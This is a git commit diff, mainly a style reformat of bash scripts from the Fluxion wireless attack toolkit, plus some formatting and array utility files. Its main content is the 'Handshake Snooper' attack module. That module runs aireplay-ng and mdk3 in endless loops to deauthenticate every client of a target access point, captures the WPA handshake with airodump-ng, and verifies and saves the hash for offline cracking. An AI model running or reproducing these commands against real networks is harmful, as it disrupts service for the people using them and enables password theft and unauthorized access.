Set styleguide and minor changes

This commit is contained in:
William Todt 2017-12-31 17:02:12 +01:00
parent 16932796c0
commit 26fec898e1
21 changed files with 2075 additions and 1998 deletions

View File

@ -10,4 +10,4 @@
**Does this PR introduce a breaking change?** **Does this PR introduce a breaking change?**
<!-- If this PR introduces a breaking change, please describe the impact and a migration path for existing applications. --> <!-- If this PR introduces a breaking change, please describe the impact and a migration path for existing applications. -->
**Other information** **Other information**

File diff suppressed because it is too large Load Diff

View File

@ -6,286 +6,299 @@ HandshakeSnooperState="Not Ready"
################################# < Handshake Snooper > ################################ ################################# < Handshake Snooper > ################################
function handshake_snooper_arbiter_daemon() { function handshake_snooper_arbiter_daemon() {
if [ ${#@} -lt 1 -o "$HandshakeSnooperState" != "Running" ]; then return 1; fi if [ ${#@} -lt 1 -o "$HandshakeSnooperState" != "Running" ]; then return 1; fi
# Start daemon in the running state to continue execution until aborted, # Start daemon in the running state to continue execution until aborted,
# or until a hash has been verified to exist in the capture file. # or until a hash has been verified to exist in the capture file.
# NOTE: The line below must remain before trap to prevent race conditions. # NOTE: The line below must remain before trap to prevent race conditions.
local handshake_snooper_arbiter_daemon_state="running" local handshake_snooper_arbiter_daemon_state="running"
function handshake_snooper_arbiter_daemon_abort() { function handshake_snooper_arbiter_daemon_abort() {
handshake_snooper_arbiter_daemon_state="aborted" handshake_snooper_arbiter_daemon_state="aborted"
if [ "$handshake_snooper_arbiter_daemon_viewerPID" ] if [ "$handshake_snooper_arbiter_daemon_viewerPID" ]; then kill $handshake_snooper_arbiter_daemon_viewerPID
then kill $handshake_snooper_arbiter_daemon_viewerPID fi
fi
handshake_snooper_stop_deauthenticator handshake_snooper_stop_deauthenticator
handshake_snooper_stop_captor handshake_snooper_stop_captor
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperArbiterAbortedWarning" >> "$FLUXIONWorkspacePath/handshake_snooper.log" echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperArbiterAbortedWarning" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
exit 2 exit 2
} }
trap handshake_snooper_arbiter_daemon_abort SIGABRT trap handshake_snooper_arbiter_daemon_abort SIGABRT
source lib/HashUtils.sh source lib/HashUtils.sh
source lib/ColorUtils.sh source lib/ColorUtils.sh
# Cleanup files we've previously created to avoid conflicts. # Cleanup files we've previously created to avoid conflicts.
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/dump-*" sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/dump-*"
# Display some feedback to the user to assure verifier is working. # Display some feedback to the user to assure verifier is working.
xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg "#000000" -fg "#CCCCCC" -title "Handshake Snooper Arbiter Log" -e "tail -f \"$FLUXIONWorkspacePath/handshake_snooper.log\"" & xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg "#000000" -fg "#CCCCCC" -title "Handshake Snooper Arbiter Log" -e "tail -f \"$FLUXIONWorkspacePath/handshake_snooper.log\"" &
local handshake_snooper_arbiter_daemon_viewerPID=$! local handshake_snooper_arbiter_daemon_viewerPID=$!
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperStartingArbiterNotice" > "$FLUXIONWorkspacePath/handshake_snooper.log" echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperStartingArbiterNotice" >"$FLUXIONWorkspacePath/handshake_snooper.log"
handshake_snooper_start_captor handshake_snooper_start_captor
handshake_snooper_start_deauthenticator handshake_snooper_start_deauthenticator
local handshake_snooper_arbiter_daemon_verified=1 # Assume it hasn't been verified yet (1 => false/error). local handshake_snooper_arbiter_daemon_verified=1 # Assume it hasn't been verified yet (1 => false/error).
# Keep snooping and verifying until we've got a valid hash from the capture file. # Keep snooping and verifying until we've got a valid hash from the capture file.
while [ $handshake_snooper_arbiter_daemon_verified -ne 0 ]; do while [ $handshake_snooper_arbiter_daemon_verified -ne 0 ]; do
echo -e "[$(env -i date '+%H:%M:%S')] `io_dynamic_output $HandshakeSnooperSnoopingForNSecondsNotice`" >> "$FLUXIONWorkspacePath/handshake_snooper.log" echo -e "[$(env -i date '+%H:%M:%S')] $(io_dynamic_output $HandshakeSnooperSnoopingForNSecondsNotice)" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
sleep $HANDSHAKEVerifierInterval & wait $! # Using wait to asynchronously catch flags while waiting. sleep $HANDSHAKEVerifierInterval &
wait $! # Using wait to asynchronously catch flags while waiting.
# If synchronously searching, stop the captor and deauthenticator before checking. # If synchronously searching, stop the captor and deauthenticator before checking.
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" ]; then if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" ]; then
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperStoppingForVerifierNotice" >> "$FLUXIONWorkspacePath/handshake_snooper.log" echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperStoppingForVerifierNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
handshake_snooper_stop_deauthenticator handshake_snooper_stop_deauthenticator
handshake_snooper_stop_captor handshake_snooper_stop_captor
mv "$FLUXIONWorkspacePath/capture/dump-01.cap" "$FLUXIONWorkspacePath/capture/recent.cap" mv "$FLUXIONWorkspacePath/capture/dump-01.cap" "$FLUXIONWorkspacePath/capture/recent.cap"
else else
pyrit -r "$FLUXIONWorkspacePath/capture/dump-01.cap" -o "$FLUXIONWorkspacePath/capture/recent.cap" stripLive &> $FLUXIONOutputDevice pyrit -r "$FLUXIONWorkspacePath/capture/dump-01.cap" -o "$FLUXIONWorkspacePath/capture/recent.cap" stripLive &>$FLUXIONOutputDevice
fi fi
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperSearchingForHashesNotice" >> "$FLUXIONWorkspacePath/handshake_snooper.log" echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperSearchingForHashesNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
hash_check_handshake "$HANDSHAKEVerifierIdentifier" "$FLUXIONWorkspacePath/capture/recent.cap" "$APTargetSSID" "$APTargetMAC" hash_check_handshake "$HANDSHAKEVerifierIdentifier" "$FLUXIONWorkspacePath/capture/recent.cap" "$APTargetSSID" "$APTargetMAC"
handshake_snooper_arbiter_daemon_verified=$? handshake_snooper_arbiter_daemon_verified=$?
# If synchronously searching, restart the captor and deauthenticator after checking. # If synchronously searching, restart the captor and deauthenticator after checking.
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" -a $handshake_snooper_arbiter_daemon_verified -ne 0 ]; then if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" -a $handshake_snooper_arbiter_daemon_verified -ne 0 ]; then
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/*" sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/*"
handshake_snooper_start_captor handshake_snooper_start_captor
handshake_snooper_start_deauthenticator handshake_snooper_start_deauthenticator
fi fi
done done
# Assure all processes are stopped before proceeding. # Assure all processes are stopped before proceeding.
handshake_snooper_stop_deauthenticator handshake_snooper_stop_deauthenticator
handshake_snooper_stop_captor handshake_snooper_stop_captor
local completionTime=$(env -i date '+%H:%M:%S') local completionTime=$(env -i date '+%H:%M:%S')
echo -e "[$completionTime] $HandshakeSnooperArbiterSuccededNotice" >> "$FLUXIONWorkspacePath/handshake_snooper.log" echo -e "[$completionTime] $HandshakeSnooperArbiterSuccededNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
echo -e "[$completionTime] $HandshakeSnooperArbiterCompletedTip" >> "$FLUXIONWorkspacePath/handshake_snooper.log" echo -e "[$completionTime] $HandshakeSnooperArbiterCompletedTip" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
# Assure we've got a directory to store hashes into. # Assure we've got a directory to store hashes into.
mkdir -p "$FLUXIONPath/attacks/Handshake Snooper/handshakes/" mkdir -p "$FLUXIONPath/attacks/Handshake Snooper/handshakes/"
# Move handshake to storage if one was acquired. # Move handshake to storage if one was acquired.
mv "$FLUXIONWorkspacePath/capture/recent.cap" "$FLUXIONPath/attacks/Handshake Snooper/handshakes/$APTargetSSIDClean-$APTargetMAC.cap" mv "$FLUXIONWorkspacePath/capture/recent.cap" "$FLUXIONPath/attacks/Handshake Snooper/handshakes/$APTargetSSIDClean-$APTargetMAC.cap"
# Signal parent process the verification terminated. # Signal parent process the verification terminated.
kill -s SIGABRT $1 kill -s SIGABRT $1
} }
function handshake_snooper_stop_captor() { function handshake_snooper_stop_captor() {
if [ "$HANDSHAKECaptorPID" ] if [ "$HANDSHAKECaptorPID" ]; then kill -s SIGINT $HANDSHAKECaptorPID &>$FLUXIONOutputDevice
then kill -s SIGINT $HANDSHAKECaptorPID &> $FLUXIONOutputDevice fi
fi
HANDSHAKECaptorPID="" HANDSHAKECaptorPID=""
} }
function handshake_snooper_start_captor() { function handshake_snooper_start_captor() {
if [ "$HANDSHAKECaptorPID" ]; then return 0; fi if [ "$HANDSHAKECaptorPID" ]; then return 0; fi
if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi
handshake_snooper_stop_captor handshake_snooper_stop_captor
xterm $FLUXIONHoldXterm -title "Handshake Captor (CH $APTargetChannel)" $TOPLEFT -bg "#000000" -fg "#FFFFFF" -e \ xterm $FLUXIONHoldXterm -title "Handshake Captor (CH $APTargetChannel)" $TOPLEFT -bg "#000000" -fg "#FFFFFF" -e \
airodump-ng --ignore-negative-one -d $APTargetMAC -w "$FLUXIONWorkspacePath/capture/dump" -c $APTargetChannel -a $WIMonitor & airodump-ng --ignore-negative-one -d $APTargetMAC -w "$FLUXIONWorkspacePath/capture/dump" -c $APTargetChannel -a $WIMonitor &
local parentPID=$! local parentPID=$!
while [ ! "$HANDSHAKECaptorPID" ]; do while [ ! "$HANDSHAKECaptorPID" ]; do
sleep 1 & wait $! sleep 1 &
HANDSHAKECaptorPID=$(pgrep -P $parentPID) wait $!
done HANDSHAKECaptorPID=$(pgrep -P $parentPID)
done
} }
function handshake_snooper_stop_deauthenticator() { function handshake_snooper_stop_deauthenticator() {
if [ "$HANDSHAKEDeauthenticatorPID" ] if [ "$HANDSHAKEDeauthenticatorPID" ]; then kill $HANDSHAKEDeauthenticatorPID &>$FLUXIONOutputDevice
then kill $HANDSHAKEDeauthenticatorPID &> $FLUXIONOutputDevice fi
fi
HANDSHAKEDeauthenticatorPID="" HANDSHAKEDeauthenticatorPID=""
} }
function handshake_snooper_start_deauthenticator() { function handshake_snooper_start_deauthenticator() {
if [ "$HANDSHAKEDeauthenticatorPID" ]; then return 0; fi if [ "$HANDSHAKEDeauthenticatorPID" ]; then return 0; fi
if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi
handshake_snooper_stop_deauthenticator handshake_snooper_stop_deauthenticator
# Prepare deauthenticators # Prepare deauthenticators
case "$HANDSHAKEDeauthenticatorIdentifier" in case "$HANDSHAKEDeauthenticatorIdentifier" in
"$HandshakeSnooperMdk3MethodOption") echo "$APTargetMAC" > $FLUXIONWorkspacePath/mdk3_blacklist.lst "$HandshakeSnooperMdk3MethodOption") echo "$APTargetMAC" >$FLUXIONWorkspacePath/mdk3_blacklist.lst ;;
esac esac
# Start deauthenticators. # Start deauthenticators.
case "$HANDSHAKEDeauthenticatorIdentifier" in case "$HANDSHAKEDeauthenticatorIdentifier" in
"$HandshakeSnooperAireplayMethodOption") xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \ "$HandshakeSnooperAireplayMethodOption")
"while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $APTargetMAC --ignore-negative-one $WIMonitor; done" & xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
HANDSHAKEDeauthenticatorPID=$!;; "while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $APTargetMAC --ignore-negative-one $WIMonitor; done" &
"$HandshakeSnooperMdk3MethodOption") xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \ HANDSHAKEDeauthenticatorPID=$!
"while true; do sleep 7; timeout 3 mdk3 $WIMonitor d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $APTargetChannel; done" & ;;
HANDSHAKEDeauthenticatorPID=$!;; "$HandshakeSnooperMdk3MethodOption")
esac xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
"while true; do sleep 7; timeout 3 mdk3 $WIMonitor d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $APTargetChannel; done" &
HANDSHAKEDeauthenticatorPID=$!
;;
esac
} }
function handshake_snooper_unset_deauthenticator_identifier() { function handshake_snooper_unset_deauthenticator_identifier() {
HANDSHAKEDeauthenticatorIdentifier="" HANDSHAKEDeauthenticatorIdentifier=""
} }
function handshake_snooper_set_deauthenticator_identifier() { function handshake_snooper_set_deauthenticator_identifier() {
if [ "$HANDSHAKEDeauthenticatorIdentifier" ]; then return 0; fi if [ "$HANDSHAKEDeauthenticatorIdentifier" ]; then return 0; fi
handshake_snooper_unset_deauthenticator_identifier handshake_snooper_unset_deauthenticator_identifier
local methods=("$HandshakeSnooperMonitorMethodOption" "$HandshakeSnooperAireplayMethodOption" "$HandshakeSnooperMdk3MethodOption" "$FLUXIONGeneralBackOption") local methods=("$HandshakeSnooperMonitorMethodOption" "$HandshakeSnooperAireplayMethodOption" "$HandshakeSnooperMdk3MethodOption" "$FLUXIONGeneralBackOption")
io_query_choice "$HandshakeSnooperMethodQuery" methods[@] io_query_choice "$HandshakeSnooperMethodQuery" methods[@]
HANDSHAKEDeauthenticatorIdentifier=$IOQueryChoice HANDSHAKEDeauthenticatorIdentifier=$IOQueryChoice
echo echo
if [ "$HANDSHAKEDeauthenticatorIdentifier" = "$FLUXIONGeneralBackOption" ]; then if [ "$HANDSHAKEDeauthenticatorIdentifier" = "$FLUXIONGeneralBackOption" ]; then
handshake_snooper_unset_deauthenticator_identifier handshake_snooper_unset_deauthenticator_identifier
return 1 return 1
fi fi
} }
function handshake_snooper_unset_verifier_identifier() { function handshake_snooper_unset_verifier_identifier() {
HANDSHAKEVerifierIdentifier="" HANDSHAKEVerifierIdentifier=""
} }
function handshake_snooper_set_verifier_identifier() { function handshake_snooper_set_verifier_identifier() {
if [ "$HANDSHAKEVerifierIdentifier" ]; then return 0; fi if [ "$HANDSHAKEVerifierIdentifier" ]; then return 0; fi
handshake_snooper_unset_verifier_identifier handshake_snooper_unset_verifier_identifier
local choices=("$FLUXIONHashVerificationMethodPyritOption" "$FLUXIONHashVerificationMethodAircrackOption" "$FLUXIONGeneralBackOption") local choices=("$FLUXIONHashVerificationMethodPyritOption" "$FLUXIONHashVerificationMethodAircrackOption" "$FLUXIONGeneralBackOption")
io_query_choice "$FLUXIONHashVerificationMethodQuery" choices[@] io_query_choice "$FLUXIONHashVerificationMethodQuery" choices[@]
echo echo
case "$IOQueryChoice" in case "$IOQueryChoice" in
"$FLUXIONHashVerificationMethodPyritOption") HANDSHAKEVerifierIdentifier="pyrit";; "$FLUXIONHashVerificationMethodPyritOption") HANDSHAKEVerifierIdentifier="pyrit" ;;
"$FLUXIONHashVerificationMethodAircrackOption") HANDSHAKEVerifierIdentifier="aircrack-ng";; "$FLUXIONHashVerificationMethodAircrackOption") HANDSHAKEVerifierIdentifier="aircrack-ng" ;;
"$FLUXIONGeneralBackOption") "$FLUXIONGeneralBackOption")
handshake_snooper_unset_verifier_identifier handshake_snooper_unset_verifier_identifier
return 1;; return 1
esac ;;
esac
} }
function handshake_snooper_unset_verifier_interval() { function handshake_snooper_unset_verifier_interval() {
HANDSHAKEVerifierInterval="" HANDSHAKEVerifierInterval=""
} }
function handshake_snooper_set_verifier_interval() { function handshake_snooper_set_verifier_interval() {
if [ "$HANDSHAKEVerifierInterval" ]; then return 0; fi if [ "$HANDSHAKEVerifierInterval" ]; then return 0; fi
handshake_snooper_unset_verifier_interval handshake_snooper_unset_verifier_interval
local choices=("$HandshakeSnooperVerifierInterval30SOption" "$HandshakeSnooperVerifierInterval60SOption" "$HandshakeSnooperVerifierInterval90SOption" "$FLUXIONGeneralBackOption") local choices=("$HandshakeSnooperVerifierInterval30SOption" "$HandshakeSnooperVerifierInterval60SOption" "$HandshakeSnooperVerifierInterval90SOption" "$FLUXIONGeneralBackOption")
io_query_choice "$HandshakeSnooperVerifierIntervalQuery" choices[@] io_query_choice "$HandshakeSnooperVerifierIntervalQuery" choices[@]
case "$IOQueryChoice" in case "$IOQueryChoice" in
"$HandshakeSnooperVerifierInterval30SOption") HANDSHAKEVerifierInterval=30;; "$HandshakeSnooperVerifierInterval30SOption") HANDSHAKEVerifierInterval=30 ;;
"$HandshakeSnooperVerifierInterval60SOption") HANDSHAKEVerifierInterval=60;; "$HandshakeSnooperVerifierInterval60SOption") HANDSHAKEVerifierInterval=60 ;;
"$HandshakeSnooperVerifierInterval90SOption") HANDSHAKEVerifierInterval=90;; "$HandshakeSnooperVerifierInterval90SOption") HANDSHAKEVerifierInterval=90 ;;
"$FLUXIONGeneralBackOption") "$FLUXIONGeneralBackOption")
handshake_snooper_unset_verifier_interval handshake_snooper_unset_verifier_interval
return 1;; return 1
esac ;;
esac
} }
function handshake_snooper_unset_verifier_synchronicity() { function handshake_snooper_unset_verifier_synchronicity() {
HANDSHAKEVerifierSynchronicity="" HANDSHAKEVerifierSynchronicity=""
} }
function handshake_snooper_set_verifier_synchronicity() { function handshake_snooper_set_verifier_synchronicity() {
if [ "$HANDSHAKEVerifierSynchronicity" ]; then return 0; fi if [ "$HANDSHAKEVerifierSynchronicity" ]; then return 0; fi
handshake_snooper_unset_verifier_synchronicity handshake_snooper_unset_verifier_synchronicity
local choices=("$HandshakeSnooperVerifierSynchronicityAsynchronousOption" "$HandshakeSnooperVerifierSynchronicitySynchronousOption" "$FLUXIONGeneralBackOption") local choices=("$HandshakeSnooperVerifierSynchronicityAsynchronousOption" "$HandshakeSnooperVerifierSynchronicitySynchronousOption" "$FLUXIONGeneralBackOption")
io_query_choice "$HandshakeSnooperVerifierSynchronicityQuery" choices[@] io_query_choice "$HandshakeSnooperVerifierSynchronicityQuery" choices[@]
case "$IOQueryChoice" in case "$IOQueryChoice" in
"$HandshakeSnooperVerifierSynchronicityAsynchronousOption") HANDSHAKEVerifierSynchronicity="non-blocking";; "$HandshakeSnooperVerifierSynchronicityAsynchronousOption") HANDSHAKEVerifierSynchronicity="non-blocking" ;;
"$HandshakeSnooperVerifierSynchronicitySynchronousOption") HANDSHAKEVerifierSynchronicity="blocking";; "$HandshakeSnooperVerifierSynchronicitySynchronousOption") HANDSHAKEVerifierSynchronicity="blocking" ;;
"$FLUXIONGeneralBackOption") "$FLUXIONGeneralBackOption")
handshake_snooper_unset_verifier_synchronicity handshake_snooper_unset_verifier_synchronicity
return 1;; return 1
esac ;;
esac
} }
function unprep_attack() { function unprep_attack() {
HandshakeSnooperState="Not Ready" HandshakeSnooperState="Not Ready"
handshake_snooper_unset_verifier_synchronicity handshake_snooper_unset_verifier_synchronicity
handshake_snooper_unset_verifier_interval handshake_snooper_unset_verifier_interval
handshake_snooper_unset_verifier_identifier handshake_snooper_unset_verifier_identifier
handshake_snooper_unset_deauthenticator_identifier handshake_snooper_unset_deauthenticator_identifier
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture" sandbox_remove_workfile "$FLUXIONWorkspacePath/capture"
} }
function prep_attack() { function prep_attack() {
mkdir -p "$FLUXIONWorkspacePath/capture" mkdir -p "$FLUXIONWorkspacePath/capture"
while true; do while true; do
handshake_snooper_set_deauthenticator_identifier; if [ $? -ne 0 ]; then break; fi handshake_snooper_set_deauthenticator_identifier
handshake_snooper_set_verifier_identifier; if [ $? -ne 0 ]; then if [ $? -ne 0 ]; then break; fi
handshake_snooper_unset_deauthenticator_identifier; continue handshake_snooper_set_verifier_identifier
fi if [ $? -ne 0 ]; then
handshake_snooper_set_verifier_interval; if [ $? -ne 0 ]; then handshake_snooper_unset_deauthenticator_identifier
handshake_snooper_unset_verifier_identifier; continue continue
fi fi
handshake_snooper_set_verifier_synchronicity; if [ $? -ne 0 ]; then handshake_snooper_set_verifier_interval
handshake_snooper_unset_verifier_interval; continue; if [ $? -ne 0 ]; then
fi handshake_snooper_unset_verifier_identifier
HandshakeSnooperState="Ready" continue
break fi
done handshake_snooper_set_verifier_synchronicity
if [ $? -ne 0 ]; then
handshake_snooper_unset_verifier_interval
continue
fi
HandshakeSnooperState="Ready"
break
done
# Check for handshake abortion. # Check for handshake abortion.
if [ "$HandshakeSnooperState" != "Ready" ]; then if [ "$HandshakeSnooperState" != "Ready" ]; then
unprep_attack unprep_attack
return 1; return 1
fi fi
} }
function stop_attack() { function stop_attack() {
if [ "$HANDSHAKEArbiterPID" ]; then if [ "$HANDSHAKEArbiterPID" ]; then
kill -s SIGABRT $HANDSHAKEArbiterPID &> $FLUXIONOutputDevice kill -s SIGABRT $HANDSHAKEArbiterPID &>$FLUXIONOutputDevice
fi fi
HANDSHAKEArbiterPID="" HANDSHAKEArbiterPID=""
HandshakeSnooperState="Stopped" HandshakeSnooperState="Stopped"
} }
function start_attack() { function start_attack() {
if [ "$HandshakeSnooperState" = "Running" ]; then return 0; fi if [ "$HandshakeSnooperState" = "Running" ]; then return 0; fi
if [ "$HandshakeSnooperState" != "Ready" ]; then return 1; fi if [ "$HandshakeSnooperState" != "Ready" ]; then return 1; fi
HandshakeSnooperState="Running" HandshakeSnooperState="Running"
handshake_snooper_arbiter_daemon $$ &> $FLUXIONOutputDevice & handshake_snooper_arbiter_daemon $$ &>$FLUXIONOutputDevice &
HANDSHAKEArbiterPID=$! HANDSHAKEArbiterPID=$!
} }
# FLUXSCRIPT END # FLUXSCRIPT END

1275
fluxion.sh

File diff suppressed because it is too large Load Diff

View File

@ -11,20 +11,20 @@ readonly ArrayUtilsVersion="1.0"
# Eventually, input_choice's "choice" variable will # Eventually, input_choice's "choice" variable will
# be indirectly expanded rather than the choice array. # be indirectly expanded rather than the choice array.
function array_contains() { function array_contains() {
local __array_contains__item local __array_contains__item
# An efficient way to pass arrays around in bash # An efficient way to pass arrays around in bash
# is to perform indirect expansion by using the # is to perform indirect expansion by using the
# expansion symbol, $, along with the indirection # expansion symbol, $, along with the indirection
# symbol, !, in curly braces, ${! }, resulting in: # symbol, !, in curly braces, ${! }, resulting in:
# function call: array_contains array[@] "text" # function call: array_contains array[@] "text"
# funct params: $1 = "array[@]" $2 = "text" # funct params: $1 = "array[@]" $2 = "text"
# indirect exp: ${!1} => ${array[@]} (replaced!) # indirect exp: ${!1} => ${array[@]} (replaced!)
for __array_contains__item in "${!1}"; do for __array_contains__item in "${!1}"; do
[[ "$__array_contains__item" == "$2" ]] && return 0; [[ "$__array_contains__item" == "$2" ]] && return 0
done done
return 1 # Not found return 1 # Not found
} }
# FLUXSCRIPT END # FLUXSCRIPT END

View File

@ -13,185 +13,181 @@ tabs -$FormatTabLength # Set tab width to var
# It only strips those needed by fluxion, currently. # It only strips those needed by fluxion, currently.
# Parameters: $1 - format # Parameters: $1 - format
function format_strip_invisibles() { function format_strip_invisibles() {
# This function currently only strips the following: # This function currently only strips the following:
# Color escape sequences, & control characters # Color escape sequences, & control characters
FormatStripInvisibles=$(echo "$1" | sed -r 's/\\(e\[([0-9]*;?[0-9]+)m|(t|n))//g') FormatStripInvisibles=$(echo "$1" | sed -r 's/\\(e\[([0-9]*;?[0-9]+)m|(t|n))//g')
} }
# This function replaces all invisible characters # This function replaces all invisible characters
# with a specifier of their corresponding length. # with a specifier of their corresponding length.
# Parameters: $1 - format # Parameters: $1 - format
function format_expand_invisibles() { function format_expand_invisibles() {
FormatExpandInvisibles=$(echo "$1" | sed -r 's/\\(e\[([0-9]*;?[0-9]+)m|n)/%0s/g; s/\\t/%'"$FormatTabLength"'s/g') FormatExpandInvisibles=$(echo "$1" | sed -r 's/\\(e\[([0-9]*;?[0-9]+)m|n)/%0s/g; s/\\t/%'"$FormatTabLength"'s/g')
} }
# This function lists all operators in format. # This function lists all operators in format.
# Parameters: $1 - format # Parameters: $1 - format
function format_list_specifiers() { function format_list_specifiers() {
# Special specifier also included (with length value as '*'). # Special specifier also included (with length value as '*').
FormatListSpecifiers=($(echo "$1" | grep -oP "$FormatValidSpecifiers")) FormatListSpecifiers=($(echo "$1" | grep -oP "$FormatValidSpecifiers"))
} }
# This function calculates the dynamic specifier count in format. # This function calculates the dynamic specifier count in format.
# Parameters: $1 - format [$2 - specifier array] # Parameters: $1 - format [$2 - specifier array]
function format_calculate_dynamics_count() { function format_calculate_dynamics_count() {
local __format_calculate_dynamics_count__specifiers=("${!2}") local __format_calculate_dynamics_count__specifiers=("${!2}")
if [ ! "$2" ] if [ ! "$2" ]; then
then format_list_specifiers "$1" format_list_specifiers "$1"
__format_calculate_dynamics_count__specifiers=("${FormatListSpecifiers[@]}") __format_calculate_dynamics_count__specifiers=("${FormatListSpecifiers[@]}")
fi fi
FormatCalculateDynamicsCount=0 FormatCalculateDynamicsCount=0
local __format_calculate_dynamics_count__specifier local __format_calculate_dynamics_count__specifier
for __format_calculate_dynamics_count__specifier in "${__format_calculate_dynamics_count__specifiers[@]}"; do for __format_calculate_dynamics_count__specifier in "${__format_calculate_dynamics_count__specifiers[@]}"; do
if echo "$__format_calculate_dynamics_count__specifier" | grep '\*' >/dev/null 2>&1 if echo "$__format_calculate_dynamics_count__specifier" | grep '\*' >/dev/null 2>&1; then ((FormatCalculateDynamicsCount++))
then ((FormatCalculateDynamicsCount++)) fi
fi done
done
} }
# This function calculates total length of statics in format. # This function calculates total length of statics in format.
# Statics are all specifiers in format with a fixed size. # Statics are all specifiers in format with a fixed size.
# Parameters: $1 - format [$2 - specifier array] # Parameters: $1 - format [$2 - specifier array]
function format_calculate_statics_length() { function format_calculate_statics_length() {
local __format_calculate_statics_length__specifiers=("${!2}") local __format_calculate_statics_length__specifiers=("${!2}")
if [ ! "$2" ]; then if [ ! "$2" ]; then
echo "format_calculate_statics_length missing \$2" echo "format_calculate_statics_length missing \$2"
format_list_specifiers "$1" format_list_specifiers "$1"
__format_calculate_statics_length__specifiers=("${FormatListSpecifiers[@]}") __format_calculate_statics_length__specifiers=("${FormatListSpecifiers[@]}")
fi fi
FormatCalculateStaticsLength=$(echo "${__format_calculate_statics_length__specifiers[@]}" | sed -r 's/\.[0-9]+s/s/g' | grep -oP '\d+' | awk 'BEGIN {s=0} {s+=$0} END {print s}') FormatCalculateStaticsLength=$(echo "${__format_calculate_statics_length__specifiers[@]}" | sed -r 's/\.[0-9]+s/s/g' | grep -oP '\d+' | awk 'BEGIN {s=0} {s+=$0} END {print s}')
} }
# This function calculates total length of literals in format. # This function calculates total length of literals in format.
# Literals are all characters in format printed literally. # Literals are all characters in format printed literally.
# Parameters: $1 - format [$2 - processed format [$3 - specifier array]] # Parameters: $1 - format [$2 - processed format [$3 - specifier array]]
function format_calculate_literals_length() { function format_calculate_literals_length() {
local __format_calculate_literals_length__normalizedFormat="`echo "$2" | sed -r 's/%%|\*\*/X/g'`" local __format_calculate_literals_length__normalizedFormat="$(echo "$2" | sed -r 's/%%|\*\*/X/g')"
local __format_calculate_literals_length__specifiers=("${!3}") local __format_calculate_literals_length__specifiers=("${!3}")
if [ ! "$2" ]; then if [ ! "$2" ]; then
echo "format_calculate_literals_length missing \$2" echo "format_calculate_literals_length missing \$2"
format_strip_invisibles "$1" format_strip_invisibles "$1"
__format_calculate_literals_length__normalizedFormat="`echo "$FormatStripInvisibles" | sed -r 's/%%|\*\*/X/g'`" __format_calculate_literals_length__normalizedFormat="$(echo "$FormatStripInvisibles" | sed -r 's/%%|\*\*/X/g')"
fi fi
if [ ! "$3" ]; then if [ ! "$3" ]; then
echo "format_calculate_literals_length missing \$3" echo "format_calculate_literals_length missing \$3"
format_list_specifiers "$1" format_list_specifiers "$1"
__format_calculate_literals_length__specifiers=("${FormatListSpecifiers[@]}") __format_calculate_literals_length__specifiers=("${FormatListSpecifiers[@]}")
fi fi
FormatCalculateLiteralsLength=$((${#__format_calculate_literals_length__normalizedFormat} - ($(echo "${__format_calculate_literals_length__specifiers[@]}" | wc -m) - ${#__format_calculate_literals_length__specifiers[@]}))) FormatCalculateLiteralsLength=$((${#__format_calculate_literals_length__normalizedFormat} - ($(echo "${__format_calculate_literals_length__specifiers[@]}" | wc -m) - ${#__format_calculate_literals_length__specifiers[@]})))
} }
# This function calculates the total length of statics & literals in format. # This function calculates the total length of statics & literals in format.
# Parameters: $1 - format [$2 - statics length [$3 - literals length]] # Parameters: $1 - format [$2 - statics length [$3 - literals length]]
function format_calculate_length() { function format_calculate_length() {
local __format_calculate_length__staticsLength=$2 local __format_calculate_length__staticsLength=$2
local __format_calculate_length__literalsLength=$3 local __format_calculate_length__literalsLength=$3
if [ ! "$2" ]; then if [ ! "$2" ]; then
#echo "format_calculate_length missing \$2" #echo "format_calculate_length missing \$2"
format_expand_invisibles "$1" format_expand_invisibles "$1"
format_list_specifiers "$FormatExpandInvisibles" format_list_specifiers "$FormatExpandInvisibles"
format_calculate_statics_length X FormatListSpecifiers[@] format_calculate_statics_length X FormatListSpecifiers[@]
__format_calculate_length__staticsLength=$FormatCalculateStaticsLength __format_calculate_length__staticsLength=$FormatCalculateStaticsLength
fi fi
if [ ! "$3" ]; then if [ ! "$3" ]; then
if [ "$2" ]; then if [ "$2" ]; then
